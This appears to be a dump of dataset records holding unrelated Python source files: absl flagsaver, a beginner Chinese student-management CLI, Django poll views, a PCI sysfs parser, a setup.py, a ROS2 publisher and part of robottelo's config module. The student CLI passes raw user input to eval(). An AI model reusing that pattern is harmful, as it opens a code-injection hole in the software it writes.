method\nfor a given use case.\nHere are examples of each method. They all call do_stuff() while FLAGS.someflag\nis temporarily set to 'foo'.\n from absl.testing import flagsaver\n @flagsaver.flagsaver(someflag='foo')\n def some_func():\n do_stuff()\n @flagsaver.flagsaver((module.FOO_FLAG, 'foo'), (other_mod.BAR_FLAG, 23))\n def some_func():\n do_stuff()\n @flagsaver.flagsaver\n def some_func():\n FLAGS.someflag = 'foo'\n do_stuff()\n with flagsaver.flagsaver(someflag='foo'):\n do_stuff()\n saved_flag_values = flagsaver.save_flag_values()\n try:\n FLAGS.someflag = 'foo'\n do_stuff()\n finally:\n flagsaver.restore_flag_values(saved_flag_values)\nWe save and restore a shallow copy of each Flag object's __dict__ attribute.\nThis preserves all attributes of the flag, such as whether or not it was\noverridden from its default value.\nWARNING: Currently a flag that is saved and then deleted cannot be restored. An\nexception will be raised. However if you *add* a flag after saving flag values,\nand then restore flag values, the added flag will be deleted with no errors.\n\"\"\"\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport functools\nimport inspect\nfrom absl import flags\nFLAGS = flags.FLAGS\ndef flagsaver(*args, **kwargs):\n if not args:\n return _FlagOverrider(**kwargs)\n if len(args) == 1 and callable(args[0]):\n if kwargs:\n raise ValueError(\n \"It's invalid to specify both positional and keyword parameters.\")\n func = args[0]\n if inspect.isclass(func):\n raise TypeError('@flagsaver.flagsaver cannot be applied to a class.')\n return _wrap(func, {})\n for arg in args:\n if not isinstance(arg, tuple) or len(arg) != 2:\n raise ValueError('Expected (FlagHolder, value) pair, found %r' % (arg,))\n holder, value = arg\n if not isinstance(holder, flags.FlagHolder):\n raise ValueError('Expected (FlagHolder, value) pair, found %r' % (arg,))\n if holder.name in kwargs:\n raise ValueError('Cannot set --%s multiple times' % holder.name)\n kwargs[holder.name] = value\n return _FlagOverrider(**kwargs)\ndef save_flag_values(flag_values=FLAGS):\n return {name: _copy_flag_dict(flag_values[name]) for name in flag_values}\ndef restore_flag_values(saved_flag_values, flag_values=FLAGS):\n new_flag_names = list(flag_values)\n for name in new_flag_names:\n saved = saved_flag_values.get(name)\n if saved is None:\n delattr(flag_values, name)\n else:\n if flag_values[name].value != saved['_value']:\n flag_values[name].value = saved['_value']\n flag_values[name].__dict__ = saved\ndef _wrap(func, overrides):\n @functools.wraps(func)\n def _flagsaver_wrapper(*args, **kwargs):\n with _FlagOverrider(**overrides):\n return func(*args, **kwargs)\n return _flagsaver_wrapper\nclass _FlagOverrider(object):\n def __init__(self, **overrides):\n self._overrides = overrides\n self._saved_flag_values = None\n def __call__(self, func):\n if inspect.isclass(func):\n raise TypeError('flagsaver cannot be applied to a class.')\n return _wrap(func, self._overrides)\n def __enter__(self):\n self._saved_flag_values = save_flag_values(FLAGS)\n try:\n FLAGS._set_attributes(**self._overrides)\n except:\n restore_flag_values(self._saved_flag_values, FLAGS)\n raise\n def __exit__(self, exc_type, exc_value, traceback):\n restore_flag_values(self._saved_flag_values, FLAGS)\ndef _copy_flag_dict(flag):\n copy = flag.__dict__.copy()\n copy['_value'] = flag.value\n copy['validators'] = list(flag.validators)\n return copy\n","repo_name":"Mockingbird01001/NLG-code-generator-LSTM","sub_path":"work/data/data_model/batch_1/448.py.transformed.py.transformed.py","file_name":"448.py.transformed.py.transformed.py","file_ext":"py","file_size_in_byte":3744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"24433345627","text":"# 学生信息 id name age 使用字典保存\n# 使用列表保存多个学生的信息\n# 功能函数-增删改查\n# 显示所有的学生\n\nimport sys\n\n\ndef info_print():\n print('--------学生管理系统 V1.0-----')\n print('1、添加学生')\n print('2、删除学生')\n print('3、修改学生')\n print('4、查询学生')\n print('5、显示所有学生')\n print('6、退出系统')\n print('----------------------------')\n\n\n# 等待存储所有学生的信息的字典\ninfo = []\n\n\n# 用户输入提取\ndef intput_info():\n # 接受用户输入学生信息\n # 1、用户输入:学号、姓名、手机号\n stu_id = input(\"输入学号:\")\n stu_name = input(\"输入姓名:\")\n stu_tel = input(\"输入手机号:\")\n # 返回多个数据会组包成一个数组\n return stu_id, stu_name, stu_tel\n\n\ndef oper(select):\n # 3、按照用户输入的功能序号,执行不同的功能(函数)\n # 如果用户输入1,就执行添加学生的功能\n if select == 1:\n add_info()\n # print('添加学生')\n elif select == 2:\n del_id = input('输入要删除的学生的id: ')\n del_info(del_id)\n # print('删除学生')\n elif select == 3:\n modify_id = input('输入要修改的学生的id: ')\n modify_info(modify_id)\n # print('修改学生')\n elif select == 4:\n query_id = input('输入要查询的学生的id: ')\n search_info(query_id)\n # print('查询学生')\n elif select == 5:\n show_all()\n # print('显示所有学生')\n elif select == 6:\n sys.exit(0)\n else:\n print('输入的功能序号有误!')\n\n\n# 1、添加学生信息的函数\ndef add_info():\n \"\"\"添加学生函数\"\"\"\n # 将用户输入的数据追加到字典\n stu_info = intput_info()\n # 学生信息的字典\n stu = {'id': stu_info[0], 'name': stu_info[1], 'tel': stu_info[2]}\n # 2、判断是否添加这个学生,如果学生姓名已经存在报错提示,如果不存在则添加数据\n # 如果用户输入的姓名不存在,则添加该学生信息\n # 2.1 不允许姓名重复:判断用户输入的姓名如果和列表里面字典的name值是相等的,则提示姓名重复\n for i in info:\n if stu['id'] == i['id']:\n print(\"此用户已经存在,请勿重复添加\")\n # 退出当前函数,后面添加信息的代码不执行\n return\n\n # 将这个学生的字典数据追加到列表\n info.append(stu)\n print(info)\n\n\n# 2、删除学生的信息\ndef del_info(del_id):\n \"\"\"删除学生\"\"\"\n # 2.3 判断学生是否存在,存在则执行删除信息,break:不允许重名,那么删除了一个,后面的不需要再遍历;不存在则提示\n stu = search_info(del_id)\n if stu != None:\n info.remove(stu)\n # for i in info:\n # if del_id == i['id']:\n # info.remove(i)\n # break\n # else:\n # print('该学生不存在!')\n\n\n# 3、修改学生的信息\ndef modify_info(modify_id):\n \"\"\"修改函数\"\"\"\n stu = search_info(modify_id)\n if stu != None:\n stu_info = intput_info()\n stu['id'] = stu_info[0]\n stu['name'] = stu_info[1]\n stu['tel'] = stu_info[2]\n\n\n# 4、查询学生信息\ndef search_info(stu_id):\n \"\"\"查询学生信息\"\"\"\n # 2、判断学生是否存在,如果输入的姓名存在则显示该学生的信息,否则则提示\n for i in info:\n if stu_id == i['id']:\n print(f\"该学生的学号是{i['id']},姓名是{i['name']},手机号是{i['tel']}\")\n return i\n\n print(\"该学生不存在!\")\n return None\n\n\n# 5、显示所有学生信息\ndef show_all():\n \"\"\"显示所有学生信息\"\"\"\n print('学号\\t姓名\\t手机号')\n for i in info:\n print(f\"{i['id']}\\t{i['name']}\\t{i['tel']}\")\n\n\ndef main():\n # 系统菜单功能需要循环使用,直到用户输入6,才退出系统\n while True:\n # 1、显示功能界面\n info_print()\n\n # 2、用户输入功能序号\n select_id = eval(input('请输入功能序号:'))\n\n # 3、根据输入选择对应的函数\n oper(select_id)\n\n\nmain()\n","repo_name":"lc2019/pycode-sixmonth","sub_path":"day3/smsv1.py","file_name":"smsv1.py","file_ext":"py","file_size_in_byte":4246,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8329916178","text":"from django.shortcuts import render,get_object_or_404\nfrom .models import Question,Choice\nfrom django.urls import reverse\nfrom django.core.paginator import Paginator\n# from django.template import loader\nfrom django.http import HttpResponse,Http404,HttpResponseRedirect\ndef index(request,pIndex):\n # latest_question_list = Question.objects.order_by('-pub_date')[:5]\n # 拿到所有的问题\n latest_question_list = Question.objects.all()\n #每一页显示两条数据\n p = Paginator(latest_question_list,2)\n # print(p)\n if pIndex == '':\n pIndex='1'\n pIndex = int(pIndex)\n # print(pIndex)\n # 当前页\n list2 = p.page(pIndex)\n print(list2)\n # 页码取值范围\n plist = p.page_range\n # print(plist)\n # print(latest_question_list.count())\n # context = {\n # 'latest_question_list':latest_question_list\n # }\n return render(request,'polls/index.html',{'list': list2, 'plist': plist, 'pIndex': pIndex,'latest_question_list':latest_question_list})\ndef detail(request,question_id):\n # return HttpResponse(\"you are looking at question %s.\" %question_id)\n try:\n # question = Question.objects.get(pk= question_id)\n question = Question.objects.get(id = question_id)\n print(question)\n except Question.DoesNotExist:\n raise Http404('Question does not exist')\n return render(request,'polls/detail.html',{'question':question})\ndef results(request,question_id):\n\n # question = get_object_or_404(Question,pk = question_id)\n question = Question.objects.get(id=question_id)\n return render(request,'polls/result.html',{'question':question})\n\n\ndef vote(request,question_id):\n print(question_id)\n question = get_object_or_404(Question,pk = question_id)\n try:\n a = request.POST['choice']\n print(a)\n selected_choice = question.choice_set.get(pk = request.POST['choice'])\n print(type(selected_choice))\n except (KeyError,Choice.DoesNotExist):\n return render(request,'polls/detail.html',{'question':question,'error_message': \"You didn't select a choice.\"})\n else:\n selected_choice.votes+=1\n selected_choice.save()\n return HttpResponseRedirect(reverse('polls:results', args=(question.id,)))\n# Create your views here.\n","repo_name":"zls8676/polls","sub_path":"polls/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2278,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42958939932","text":"import os\nfrom PySide2.QtWidgets import QTreeWidgetItem\n\nfrom ..util import get_file_contents\nfrom .. import DATA_PATH\n\n\ndb = {}\ndb_class = {}\nwith open(os.path.join(DATA_PATH, 'hwdata', 'pci.ids')) as f:\n scope_class = False\n for line in f:\n if line.startswith('#'): continue\n line_len_full = len(line)\n line = line.lstrip('\\t')\n indent = line_len_full - len(line)\n if indent == 0:\n if line.startswith('C '):\n scope_class = True\n pci_class = (line[6:-1], {})\n db_class[line[2:4]] = pci_class\n else:\n scope_class = False\n vendor = (line[6:-1], {})\n db[line[:4]] = vendor\n elif indent == 1:\n if scope_class:\n subclass = (line[4:-1], {})\n pci_class[1][line[0:2]] = subclass\n else:\n device = (line[6:-1], {})\n vendor[1][line[:4]] = device\n elif indent == 2:\n if scope_class:\n # interface\n subclass[1][line[0:2]] = line[4:-1]\n else:\n # subsystem vendor&device\n device[1][line[:9]] = line[11:-1]\n\n\ndef update_dict(device_path, device_dict):\n device_dict['name'] = 'PCI'\n device_dict['pci_device'] = device_path[-4:-2]\n device_dict['pci_function'] = device_path[-1]\n device_dict['pci_class'] = get_file_contents(device_path, 'class')\n device_dict['pci_class_base'] = '0x' + device_dict['pci_class'][2:4]\n device_dict['pci_class_subclass'] = '0x' + device_dict['pci_class'][4:6]\n device_dict['pci_class_interface'] = '0x' + device_dict['pci_class'][6:]\n db_base_class = db_class.get(device_dict['pci_class_base'][2:])\n if db_base_class:\n device_dict['pci_class_base_name'] = db_base_class[0]\n db_subclass = db_base_class[1].get(device_dict['pci_class_subclass'][2:])\n if db_subclass:\n device_dict['pci_class_subclass_name'] = db_subclass[0]\n db_interface = db_subclass[1].get(device_dict['pci_class_interface'][2:])\n if db_interface:\n device_dict['pci_class_interface_name'] = db_interface\n else:\n device_dict['pci_class_subclass_name'] = None\n else:\n device_dict['pci_class_base_name'] = None\n device_dict['name'] += ' device ' + device_dict['pci_device']\n if device_dict['pci_function'] != '0':\n device_dict['name'] += ' function ' + device_dict['pci_function']\n if device_dict['pci_class_subclass_name'] is not None:\n device_dict['name'] += ': ' + device_dict['pci_class_subclass_name']\n elif device_dict['pci_class_base_name'] is not None:\n device_dict['name'] += ': ' + device_dict['pci_class_base_name']\n if device_dict['pci_class_base'] == '0x06' and device_dict['pci_class_subclass'] == '0x04':\n device_dict['name'] += ' (to bus ' + os.listdir(device_path+'/pci_bus')[0][-2:] + ')'\n\n\ndef iter_props_tree_items(device_path, device_dict):\n parent_item = None\n\n subsystem_item = QTreeWidgetItem(parent_item, ['Subsystem: PCI'])\n \n addr_item = QTreeWidgetItem(subsystem_item, ['Address: '+device_path[-12:]])\n QTreeWidgetItem(addr_item, ['Domain: '+device_path[-12:-8]])\n QTreeWidgetItem(addr_item, ['Bus: '+device_path[-7:-5]])\n QTreeWidgetItem(addr_item, ['Device: '+device_path[-4:-2]])\n QTreeWidgetItem(addr_item, ['Function: '+device_path[-1]])\n \n class_item = QTreeWidgetItem(subsystem_item, ['Class: '+device_dict['pci_class']])\n QTreeWidgetItem(class_item, ['Base: '+device_dict['pci_class_base']+(' ('+device_dict['pci_class_base_name']+')' if 'pci_class_base_name' in device_dict else '')])\n QTreeWidgetItem(class_item, ['Subclass: '+device_dict['pci_class_subclass']+(' ('+device_dict['pci_class_subclass_name']+')' if 'pci_class_subclass_name' in device_dict else '')])\n QTreeWidgetItem(class_item, ['Interface: '+device_dict['pci_class_interface']+(' ('+device_dict['pci_class_interface_name']+')' if 'pci_class_interface_name' in device_dict else '')])\n \n ids_item = QTreeWidgetItem(subsystem_item, ['IDs'])\n vendor = get_file_contents(device_path, 'vendor')\n device__pci_id = get_file_contents(device_path, 'device')\n subvendor = get_file_contents(device_path, 'subsystem_vendor')\n subdevice = get_file_contents(device_path, 'subsystem_device')\n vendor_db_entry = db.get(vendor[2:])\n if vendor_db_entry:\n vendor += ' (' + vendor_db_entry[0] + ')'\n device_db_entry = vendor_db_entry[1].get(device__pci_id[2:])\n if device_db_entry:\n device__pci_id += ' (' + device_db_entry[0] + ')'\n subdevice_db_entry = device_db_entry[1].get(subvendor[2:]+' '+subdevice[2:])\n if subdevice_db_entry:\n subdevice += ' (' + subdevice_db_entry + ')'\n subvendor_db_entry = db.get(subvendor[2:])\n if subvendor_db_entry:\n subvendor += ' (' + subvendor_db_entry[0] + ')'\n base_ids_item = QTreeWidgetItem(ids_item, ['Base'])\n QTreeWidgetItem(base_ids_item, ['Vendor: '+vendor])\n QTreeWidgetItem(base_ids_item, ['Device: '+device__pci_id])\n revision = get_file_contents(device_path, 'revision')\n QTreeWidgetItem(base_ids_item, ['Revision: '+revision])\n subsystem_ids_item = QTreeWidgetItem(ids_item, ['Subsystem'])\n QTreeWidgetItem(subsystem_ids_item, ['Vendor: '+subvendor])\n QTreeWidgetItem(subsystem_ids_item, ['Device: '+subdevice])\n \n resources_item = QTreeWidgetItem(subsystem_item, ['Resources'])\n resource_records = []\n with open(device_path+'/resource') as f:\n for line in f:\n resource_records.append(line[:-1].split(' '))\n for i in range(6):\n QTreeWidgetItem(resources_item, ['BAR '+str(i)+': '+str(resource_records[i])])\n \n yield subsystem_item\n","repo_name":"shatsky/niudu","sub_path":"lib/python/site-packages/niudu_devices/subsystems/pci.py","file_name":"pci.py","file_ext":"py","file_size_in_byte":5970,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74571305332","text":"\"\"\"\nManage Djed Clusters\n\"\"\"\nfrom setuptools import find_packages, setup\n\ndependencies = [\n 'requests',\n 'etcd',\n]\n\nsetup(\n name='pyfleet',\n version='0.1.4',\n url='https://github.com/jcderr/pyfleet',\n license='BSD',\n author='Jeremy Derr',\n author_email='jeremy@derr.me',\n description='Manage CoreOS Fleets',\n long_description=__doc__,\n packages=find_packages(exclude=['tests']),\n include_package_data=True,\n zip_safe=False,\n platforms='any',\n install_requires=dependencies,\n classifiers=[\n # As from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n # 'Development Status :: 1 - Planning',\n # 'Development Status :: 2 - Pre-Alpha',\n # 'Development Status :: 3 - Alpha',\n 'Development Status :: 4 - Beta',\n # 'Development Status :: 5 - Production/Stable',\n # 'Development Status :: 6 - Mature',\n # 'Development Status :: 7 - Inactive',\n # 'Environment :: Console',\n 'Intended Audience :: Developers',\n # 'License :: OSI Approved :: BSD License',\n 'Operating System :: POSIX',\n 'Operating System :: MacOS',\n 'Operating System :: Unix',\n # 'Operating System :: Windows',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 3',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ]\n)\n","repo_name":"jcderr/pyfleet","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1443,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"29936991476","text":"\nimport rclpy\n\nfrom std_msgs.msg import String\n \n \ndef main(args=None):\n rclpy.init(args=args)\n \n node = rclpy.create_node('my_publisher')\n publisher = node.create_publisher(String, 'my')\n \n msg = String()\n \n def timer_callback():\n msg.data = 'This is my first publishing'\n node.get_logger().info('Publishing my message: \"%s\"' % msg.data)\n publisher.publish(msg)\n \n timer_period = 0.5 # seconds\n timer = node.create_timer(timer_period, timer_callback)\n \n rclpy.spin(node)\n\n node.destroy_timer(timer)\n node.destroy_node()\n rclpy.shutdown()\n \n \nif __name__ == '__main__':\n main()","repo_name":"songmilee/ros2_study","sub_path":"1.publisher/src/pub_py/my_publisher.py","file_name":"my_publisher.py","file_ext":"py","file_size_in_byte":638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"38459312466","text":"\"\"\"Define and instantiate the configuration class for Robottelo.\"\"\"\nimport importlib\nimport logging\nimport logging.config\n\nimport os\nimport sys\n\nfrom functools import partial\n\nfrom six.moves.urllib.parse import urlunsplit, urljoin\nfrom six.moves.configparser import (\n NoOptionError,\n NoSectionError,\n ConfigParser\n)\n\nimport airgun.settings\n\nfrom nailgun import entities, entity_mixins\nfrom nailgun.config import ServerConfig\nfrom robottelo.config import casts\n\nLOGGER = logging.getLogger(__name__)\nSETTINGS_FILE_NAME = 'robottelo.properties'\n\n\nclass ImproperlyConfigured(Exception):\n \"\"\"Indicates that Robottelo somehow is improperly configured.\n\n For example, if settings file can not be found or some required\n configuration is not defined.\n \"\"\"\n\n\ndef get_project_root():\n \"\"\"Return the path to the Robottelo project root directory.\n\n :return: A directory path.\n :rtype: str\n \"\"\"\n return os.path.realpath(os.path.join(\n os.path.dirname(__file__),\n os.pardir,\n os.pardir,\n ))\n\n\nclass INIReader(object):\n \"\"\"ConfigParser wrapper able to cast value when reading INI options.\"\"\"\n # Helper casters\n cast_boolean = casts.Boolean()\n cast_dict = casts.Dict()\n cast_list = casts.List()\n cast_logging_level = casts.LoggingLevel()\n cast_tuple = casts.Tuple()\n cast_webdriver_desired_capabilities = casts.WebdriverDesiredCapabilities()\n\n def __init__(self, path):\n self.config_parser = ConfigParser()\n with open(path) as handler:\n self.config_parser.readfp(handler)\n if sys.version_info[0] < 3:\n # ConfigParser.readfp is deprecated on Python3, read_file\n # replaces it\n self.config_parser.readfp(handler)\n else:\n self.config_parser.read_file(handler)\n\n def get(self, section, option, default=None, cast=None):\n \"\"\"Read an option from a section of a INI file.\n\n The default value will return if the look up option is not available.\n The value will be cast using a callable if specified otherwise a string\n will be returned.\n\n :param section: Section to look for.\n :param option: Option to look for.\n :param default: The value that should be used if the option is not\n defined.\n :param cast: If provided the value will be cast using the cast\n provided.\n\n \"\"\"\n try:\n value = self.config_parser.get(section, option)\n if cast is not None:\n if cast is bool:\n value = self.cast_boolean(value)\n elif cast is dict:\n value = self.cast_dict(value)\n elif cast is list:\n value = self.cast_list(value)\n elif cast is tuple:\n value = self.cast_tuple(value)\n else:\n value = cast(value)\n except (NoSectionError, NoOptionError):\n value = default\n return value\n\n def has_section(self, section):\n \"\"\"Check if section is available.\"\"\"\n return self.config_parser.has_section(section)\n\n\nclass FeatureSettings(object):\n \"\"\"Settings related to a feature.\n\n Create a instance of this class and assign attributes to map to the feature\n options.\n \"\"\"\n def read(self, reader):\n \"\"\"Subclasses must implement this method in order to populate itself\n with expected settings values.\n\n :param reader: An INIReader instance to read the settings.\n \"\"\"\n raise NotImplementedError('Subclasses must implement read method.')\n\n def validate(self):\n \"\"\"Subclasses must implement this method in order to validade the\n settings and raise ``ImproperlyConfigured`` if any issue is found.\n \"\"\"\n raise NotImplementedError('Subclasses must implement validate method.')\n\n\nclass ServerSettings(FeatureSettings):\n \"\"\"Satellite server settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(ServerSettings, self).__init__(*args, **kwargs)\n self.admin_password = None\n self.admin_username = None\n self.hostname = None\n self.port = None\n self.scheme = None\n self.ssh_key = None\n self.ssh_password = None\n self.ssh_username = None\n\n def read(self, reader):\n \"\"\"Read and validate Satellite server settings.\"\"\"\n self.admin_password = reader.get(\n 'server', 'admin_password', 'changeme')\n self.admin_username = reader.get(\n 'server', 'admin_username', 'admin')\n self.hostname = reader.get('server', 'hostname')\n self.port = reader.get('server', 'port', cast=int)\n self.scheme = reader.get('server', 'scheme', 'https')\n self.ssh_key = reader.get('server', 'ssh_key')\n self.ssh_password = reader.get('server', 'ssh_password')\n self.ssh_username = reader.get('server', 'ssh_username', 'root')\n\n def validate(self):\n validation_errors = []\n if self.hostname is None:\n validation_errors.append('[server] hostname must be provided.')\n if (self.ssh_key is None and self.ssh_password is None):\n validation_errors.append(\n '[server] ssh_key or ssh_password must be provided.')\n return validation_errors\n\n def get_credentials(self):\n \"\"\"Return credentials for interacting with a Foreman deployment API.\n\n :return: A username-password pair.\n :rtype: tuple\n\n \"\"\"\n return (self.admin_username, self.admin_password)\n\n def get_url(self):\n \"\"\"Return the base URL of the Foreman deployment being tested.\n\n The following values from the config file are used to build the URL:\n\n * ``[server] scheme`` (default: https)\n * ``[server] hostname`` (required)\n * ``[server] port`` (default: none)\n\n Setting ``port`` to 80 does *not* imply that ``scheme`` is 'https'. If\n ``port`` is 80 and ``scheme`` is unset, ``scheme`` will still default\n to 'https'.\n\n :return: A URL.\n :rtype: str\n\n \"\"\"\n if not self.scheme:\n scheme = 'https'\n else:\n scheme = self.scheme\n # All anticipated error cases have been handled at this point.\n if not self.port:\n return urlunsplit((scheme, self.hostname, '', '', ''))\n else:\n return urlunsplit((\n scheme, '{0}:{1}'.format(self.hostname, self.port), '', '', ''\n ))\n\n def get_pub_url(self):\n \"\"\"Return the pub URL of the server being tested.\n\n The following values from the config file are used to build the URL:\n\n * ``main.server.hostname`` (required)\n\n :return: The pub directory URL.\n :rtype: str\n\n \"\"\"\n return urlunsplit(('http', self.hostname, 'pub/', '', ''))\n\n def get_cert_rpm_url(self):\n \"\"\"Return the Katello cert RPM URL of the server being tested.\n\n The following values from the config file are used to build the URL:\n\n * ``main.server.hostname`` (required)\n\n :return: The Katello cert RPM URL.\n :rtype: str\n\n \"\"\"\n return urljoin(\n self.get_pub_url(), 'katello-ca-consumer-latest.noarch.rpm')\n\n\nclass BugzillaSettings(FeatureSettings):\n \"\"\"Bugzilla server settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(BugzillaSettings, self).__init__(*args, **kwargs)\n self.password = None\n self.username = None\n self.wontfix_lookup = None\n\n def read(self, reader):\n \"\"\"Read and validate Bugzilla server settings.\"\"\"\n get_bz = partial(reader.get, 'bugzilla')\n self.password = get_bz('bz_password', None)\n self.username = get_bz('bz_username', None)\n self.wontfix_lookup = reader.get(\n 'bugzilla', 'wontfix_lookup', True, bool)\n\n def get_credentials(self):\n \"\"\"Return credentials for interacting with a Bugzilla API.\n\n :return: A username-password dict.\n :rtype: dict\n\n \"\"\"\n return {'user': self.username, 'password': self.password}\n\n def validate(self):\n validation_errors = []\n if self.username is None:\n validation_errors.append(\n '[bugzilla] bz_username must be provided.')\n if self.password is None:\n validation_errors.append(\n '[bugzilla] bz_password must be provided.')\n return validation_errors\n\n\nclass CapsuleSettings(FeatureSettings):\n \"\"\"Clients settings definitions.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super(CapsuleSettings, self).__init__(*args, **kwargs)\n self.domain = None\n self.instance_name = None\n self.hash = None\n self.ddns_package_url = None\n\n def read(self, reader):\n \"\"\"Read clients settings.\"\"\"\n self.instance_name = reader.get('capsule', 'instance_name')\n\n @property\n def hostname(self):\n if self.instance_name and self.domain:\n return '{0}.{1}'.format(self.instance_name, self.domain)\n\n return None\n\n def validate(self):\n \"\"\"Validate capsule settings.\"\"\"\n validation_errors = []\n if self.instance_name is None:\n validation_errors.append(\n '[capsule] instance_name option must be provided.')\n return validation_errors\n\n\nclass CertsSettings(FeatureSettings):\n \"\"\"Katello-certs settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(CertsSettings, self).__init__(*args, **kwargs)\n self.cert_file = None\n self.key_file = None\n self.req_file = None\n self.ca_bundle_file = None\n\n def read(self, reader):\n \"\"\"Read certs settings.\"\"\"\n self.cert_file = reader.get('certs', 'CERT_FILE')\n self.key_file = reader.get('certs', 'KEY_FILE')\n self.req_file = reader.get('certs', 'REQ_FILE')\n self.ca_bundle_file = reader.get('certs', 'CA_BUNDLE_FILE')\n\n def validate(self):\n \"\"\"Validate certs settings.\"\"\"\n validation_errors = []\n if self.cert_file is None:\n validation_errors.append(\n '[certs] cert_file option must be provided.'\n )\n if self.key_file is None:\n validation_errors.append(\n '[certs] key_file option must be provided.'\n )\n if self.req_file is None:\n validation_errors.append(\n '[certs] req_file option must be provided.'\n )\n if self.ca_bundle_file is None:\n validation_errors.append(\n '[certs] ca_bundle_file option must be provided.'\n )\n return validation_errors\n\n\nclass ClientsSettings(FeatureSettings):\n \"\"\"Clients settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(ClientsSettings, self).__init__(*args, **kwargs)\n self.image_dir = None\n self.provisioning_server = None\n\n def read(self, reader):\n \"\"\"Read clients settings.\"\"\"\n self.image_dir = reader.get('clients', 'image_dir')\n self.provisioning_server = reader.get('clients', 'provisioning_server')\n\n def validate(self):\n \"\"\"Validate clients settings.\"\"\"\n validation_errors = []\n if self.provisioning_server is None:\n validation_errors.append(\n '[clients] provisioning_server option must be provided.')\n return validation_errors\n\n\nclass DistroSettings(FeatureSettings):\n \"\"\"Distro settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(DistroSettings, self).__init__(*args, **kwargs)\n self.image_el6 = None\n self.image_el7 = None\n\n def read(self, reader):\n \"\"\"Read distro settings.\"\"\"\n self.image_el6 = reader.get('distro', 'image_el6')\n self.image_el7 = reader.get('distro', 'image_el7')\n\n def validate(self):\n \"\"\"Validate distro settings.\"\"\"\n validation_errors = []\n if not all((self.image_el6, self.image_el7)):\n validation_errors.append(\n 'Both [distro] image_el6 and image_el7 '\n 'options must be provided.')\n return validation_errors\n\n\nclass DockerSettings(FeatureSettings):\n \"\"\"Docker settings definitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(DockerSettings, self).__init__(*args, **kwargs)\n self.docker_image = None\n self.external_url = None\n self.external_registry_1 = None\n self.external_registry_2 = None\n self.unix_socket = None\n self.private_registry_url = None\n self.private_registry_name = None\n self.private_registry_username = None\n self.private_registry_password = None\n\n def read(self, reader):\n \"\"\"Read docker settings.\"\"\"\n self.docker_image = reader.get('docker', 'docker_image')\n self.unix_socket = reader.get(\n 'docker', 'unix_socket', False, bool)\n self.external_url = reader.get('docker', 'external_url')\n self.external_registry_1 = reader.get('docker', 'external_registry_1')\n self.external_registry_2 = reader.get('docker', 'external_registry_2')\n self.private_registry_url = reader.get(\n 'docker', 'private_registry_url')\n self.private_registry_name = reader.get(\n 'docker', 'private_registry_name')\n self.private_registry_username = reader.get(\n 'docker', 'private_registry_username')\n self.private_registry_password = reader.get(\n 'docker', 'private_registry_password')\n\n def validate(self):\n \"\"\"Validate docker settings.\"\"\"\n validation_errors = []\n if not self.docker_image:\n validation_errors.append(\n '[docker] docker_image option must be provided or enabled.')\n if not all((self.external_registry_1, self.external_registry_2)):\n validation_errors.append(\n 'Both [docker] external_registry_1 and external_registry_2 '\n 'options must be provided.')\n return validation_errors\n\n def get_unix_socket_url(self):\n \"\"\"Use the unix socket connection to the local docker daemon. Make sure\n that your Satellite server's docker is configured to allow foreman user\n accessing it. This can be done by::\n\n $ groupadd docker\n $ usermod -aG docker foreman\n # Add -G docker to the options for the docker daemon\n $ systemctl restart docker\n $ katello-service restart\n\n \"\"\"\n return (\n 'unix:///var/run/docker.sock'\n if self.unix_socket else None\n )\n\n\nclass EC2Settings(FeatureSettings):\n \"\"\"AWS EC2 settings definitions.\"\"\"\n\n def __init__(self, *args, **kwargs):\n super(EC2Settings, self).__init__(*args, **kwargs)\n self.access_key = None\n self.secret_key = None\n self.region = None\n self.image = None\n self.availability_zone = None\n self.subnet = None\n self.security_groups = None\n self.managed_ip = None\n\n def read(self, reader):\n \"\"\"Read AWS EC2 settings.\"\"\"\n self.access_key = reader.get('ec2', 'access_key')\n self.secret_key = reader.get('ec2', 'secret_key')\n self.region = reader.get('ec2', 'region', 'us-west-2')\n self.image = reader.get('ec2', 'image')\n self.availability_zone = reader.get('ec2', 'availability_zone')\n self.subnet = reader.get('ec2', 'subnet')\n self.security_groups = reader.get(\n 'ec2', 'security_groups', ['default'], list)\n self.managed_ip = reader.get('ec2', 'managed_ip', 'Private')\n\n def validate(self):\n \"\"\"Validate AWS EC2 settings.\"\"\"\n validation_errors = []\n if not all((self.access_key, self.secret_key, self.region)):\n validation_errors.append(\n 'All [ec2] access_key, secret_key, region options '\n 'must be provided'\n )\n if self. managed_ip not in ('Private', 'Public'):\n validation_errors.append(\n '[ec2] managed_ip option must be Public or Private'\n )\n return validation_errors\n\n\nclass FakeManifestSettings(FeatureSettings):\n \"\"\"Fake manifest settings defintitions.\"\"\"\n def __init__(self, *args, **kwargs):\n super(FakeManifestSettings, self).__init__(*args, **kwargs)\n self.cert_url = None\n self.key_url = None\n self.url = None\n\n def read(self, reader):\n \"\"\"Read fake manifest settings.\"\"\"\n self.cert_url = reader.get(\n 'fake_manifest', 'cert_url')\n self.key_url = reader.get(\n 'fake_manifest', 'key_url')\n self.url = reader.get(\n 'fake_manifest', 'url')\n\n def validate(self):\n \"\"\"Validate fake manifest settings.\"\"\"\n validation_errors = []\n if not all(vars(self).values()):\n validation_errors.append(\n 'All [fake_manifest] cert_url, key_url, url options must '\n 'be provided.'\n )\n return 